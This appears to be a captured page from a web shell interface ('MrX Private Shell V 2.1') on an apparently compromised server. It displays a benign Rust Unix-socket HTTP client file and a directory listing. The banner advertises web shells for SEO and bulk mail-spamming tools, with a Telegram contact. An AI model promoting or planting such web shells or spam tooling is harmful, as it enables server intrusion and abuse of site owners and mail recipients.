__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
use crate::{Error, Result};
use http_body_util::{BodyExt, Empty, Full};
use hyper::{
    body::{Body, Bytes, Incoming},
    client::conn::http1,
    header::{CONTENT_TYPE, HOST},
    http::request::Builder,
    Request, Response, Uri,
};
use hyper_util::rt::TokioIo;
use serde::de::DeserializeOwned;
use std::path::PathBuf;
use tokio::net::UnixStream;
use tracing::error;

#[derive(Debug, Clone)]
pub struct UnixSocketClient {
    socket_path: PathBuf,
}

impl UnixSocketClient {
    pub fn new<P>(path: P) -> Self
    where
        P: Into<PathBuf>,
    {
        Self {
            socket_path: path.into(),
        }
    }

    async fn do_req<T>(&self, req: Request<T>) -> Result<Response<Incoming>>
    where
        T: Body + Send + Sync + 'static,
        T::Error: std::error::Error + Send + Sync,
        T::Data: Send + Sync,
    {
        let stream = UnixStream::connect(&self.socket_path).await?;
        let (mut sender, conn) = http1::handshake(TokioIo::new(stream)).await?;
        tokio::task::spawn(async move {
            if let Err(error) = conn.await {
                error!(%error, "connection failed");
            }
        });

        let res = sender.send_request(req).await?;

        Ok(res)
    }

    pub async fn get(&self, uri: Uri) -> Result<Response<Incoming>> {
        let req = request_builder(&uri)?.body(Empty::<Bytes>::new())?;

        self.do_req(req).await
    }

    pub async fn post(
        &self,
        uri: Uri,
        content_type: &str,
        body: Vec<u8>,
    ) -> Result<Response<Incoming>> {
        let req = request_builder(&uri)?
            .method("POST")
            .header(CONTENT_TYPE, content_type)
            .body(Full::new(Bytes::from(body)))?;

        self.do_req(req).await
    }
}

fn request_builder(uri: &Uri) -> Result<Builder> {
    let path_and_query = uri
        .path_and_query()
        .ok_or(Error::InvalidUri {
            reason: "missing path",
            uri: uri.to_string(),
        })?
        .as_str();

    let authority = uri
        .authority()
        .ok_or(Error::InvalidUri {
            reason: "missing authority",
            uri: uri.to_string(),
        })?
        .as_str();

    Ok(Request::builder()
        .uri(path_and_query)
        .header(HOST, authority))
}

pub(crate) async fn body_json<T>(res: Response<Incoming>) -> Result<T>
where
    T: DeserializeOwned,
{
    let bytes = res.into_body().collect().await.map(|buf| buf.to_bytes())?;
    let t: T = serde_json::from_slice(&bytes)?;

    Ok(t)
}

Filemanager

Name Type Size Permission Actions
bin Folder 0755
cli_actions Folder 0755
daemon Folder 0755
protos Folder 0755
snapd_client Folder 0755
lib.rs File 2.43 KB 0644
prompt_sequence.rs File 12.33 KB 0644
recording.rs File 4.6 KB 0644
socket_client.rs File 2.47 KB 0644
util.rs File 1.78 KB 0644
Filemanager